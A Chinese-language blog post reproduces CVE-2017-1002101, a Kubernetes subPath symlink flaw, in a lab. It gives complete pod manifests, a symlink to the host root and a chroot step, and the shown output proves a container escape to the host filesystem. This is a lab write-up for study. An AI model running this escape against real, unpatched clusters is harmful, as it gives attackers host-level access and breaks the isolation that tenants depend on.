CVE-2017-1002101

搭了一晚上k8s……脖子疼,幸亏搭好了不然睡不着觉了

原理见👉逃逸风云再起,不写了

  • 影响版本:v1.3.x、v1.4.x、v1.5.x、v1.6.x及低于v1.7.14、v1.8.9和v1.9.4版本
  • 利用情景:
    • 存在Pod安全策略,限制了挂载目录
    • 具有某命名空间下Pod的创建及相关权限

环境配置

ubuntu18.04使用metarget

1
2
$ sudo ./metarget gadget install docker --version 18.03.1 --verbose
$ sudo ./metarget cnv install cve-2017-1002101 --domestic --verbose

不能用root!不能用root!不能用root!

热身一下

无安全策略

1
2
$ sudo kubectl get podsecuritypolicy
No resources found.

创建一个pod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101
spec:
containers:
- name: test
image: busybox:1.28.4
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: DirectoryOrCreate
1
$ sudo kubectl apply -f cve.yaml

要用1.28.4,老版本docker拉取不了新版本的镜像

进入pod

1
$ sudo kubectl exec -it cve-2017-1002101 -- /bin/sh

创建符号链接

1
2
3
4
5
cd /test
ln -s ../../.. malicious_link
ls -l
total 0
lrwxrwxrwx 1 root root 8 Apr 14 17:25 malicious_link -> ../../..

本机查看符号链接

1
2
3
4
5
6
7
$ ls -l /tmp/test/malicious_link
lrwxrwxrwx 1 root root 8 Apr 14 10:25 /tmp/test/malicious_link -> ../../..
$ cat <<EOF > /here_i_am.txt
> Yeah!! I'm on the host's root dir!!
> EOF
$ cat /tmp/test/malicious_link/here_i_am.txt
Yeah!! I'm on the host's root dir!!

再进入pod

1
2
cat /test/malicious_link/here_i_am.txt
cat: can't open '/test/malicious_link/here_i_am.txt': No such file or directory

浅试一下

使用subPath挂载malicious_link,再创建一个pod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101
spec:
containers:
- name: busybox
image: busybox:1.28.4
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
subPath: malicious_link
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: Directory

再进入pod,可以读取到 / 下的文件,且这时候/test就是主机的根目录

1
2
cat /test/here_i_am.txt 
Yeah!! I'm on the host's root dir!!

真的环境搭建

创建策略,注意空格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
apiVersion: extensions/v1beta1
kind: PodSecurityPolicy
metadata:
name: privileged
annotations:
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
spec:
privileged: true
allowPrivilegeEscalation: true
allowedCapabilities:
- '*'
volumes:
- '*'
allowedHostPaths:
- pathPrefix: /tmp/
hostNetwork:true
hostPorts:
- min: 0
max: 65535
hostIPC: true
hostPID: true
runAsUser:
rule: 'RunAsAny'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'
1
$ sudo kubectl apply -f policy.yaml

打通RBAC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: privileged-psp
rules:
- apiGroups:
- policy
resourceNames:
- privileged
resources:
- podsecuritypolicies
verbs:
- use
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: kube-system-psp
namespace: kube-system
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: privileged-psp
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: system:nodes
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: system:serviceaccounts:kube-system
1
$ sudo kubectl apply -f rbac.yaml --validate=false

手动编辑APIServer配置文件

1
2
3
4
5
6
$ sudo vim /etc/kubernetes/manifests/kube-apiserver.yaml


- --admission-control=Initializers,NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,ResourceQuota,PodSecurityPolicy


重启Kubelet服务

1
$ sudo service kubelet restart

尝试挂载宿主机根目录,失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- image: busybox:1.28.4
name: test
volumeMounts:
- mountPath: /test
name: vuln-vol
command: ["sleep"]
args: ["10000"]
volumes:
- name: vuln-vol
hostPath:
path: /
1
2
$ sudo kubectl apply -f try.yaml 
Error from server (Forbidden): error when creating "try.yaml": pods "test" is forbidden: unable to validate against any pod security policy: [spec.volumes[0].hostPath.pathPrefix: Invalid value: "/": is not allowed to be used]

尝试相对路径绕过,失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- image: busybox:1.28.4
name: test
volumeMounts:
- mountPath: /test
name: vuln-vol
command: ["sleep"]
args: ["10000"]
volumes:
- name: vuln-vol
hostPath:
path: /tmp/../
1
2
3
4
$ sudo kubectl apply -f try.yaml 
The Pod "test" is invalid:
* spec.volumes[0].hostPath.path: Invalid value: "/tmp/../": must not contain '..'
* spec.containers[0].volumeMounts[0].name: Not found: "vuln-vol"

漏洞利用

步骤:

  • 创建一个Pod,hostPath挂载/tmp/test
  • 上一个Pod中,在宿主机/tmp/test目录下创建指向/的符号链接xxx
  • 创建第二个Pod,hostPath挂载/tmp/test,subPath挂载xxx
  • 第二个Pod的shell中,chroot到xxx,实现容器逃逸

第一个pod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: v1
kind: Pod
metadata:
name: stage-1-container
spec:
containers:
- image: busybox:1.28.4
name: stage-1-container
volumeMounts:
- mountPath: /vuln
name: vuln-vol
command: ["sleep"]
args: ["10000"]
volumes:
- name: vuln-vol
hostPath:
path: /tmp/test

在第一个pod中创建符号链接

1
$ sudo kubectl exec -it stage-1-container -- ln -s / /vuln/xxx

创建第二个pod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
kind: Pod
metadata:
name: stage-2-container
spec:
containers:
- image: busybox:1.28.4
name: stage-2-container
volumeMounts:
- mountPath: /vuln
name: vuln-vol
subPath: xxx
command: ["sleep"]
args: ["10000"]
volumes:
- name: vuln-vol
hostPath:
path: /tmp/test

进入第二个pod chroot,逃逸成功

1
2
3
4
5
6
$ sudo kubectl exec -it stage-2-container -- /bin/sh
cat /etc/hostname
stage-2-container
chroot vuln
cat /etc/hostname
ubuntu

CVE-2017-1002101
http://akaieurus.github.io/2024/04/14/cve-2017-1002101/
作者
Eurus
发布于
2024年4月14日
许可协议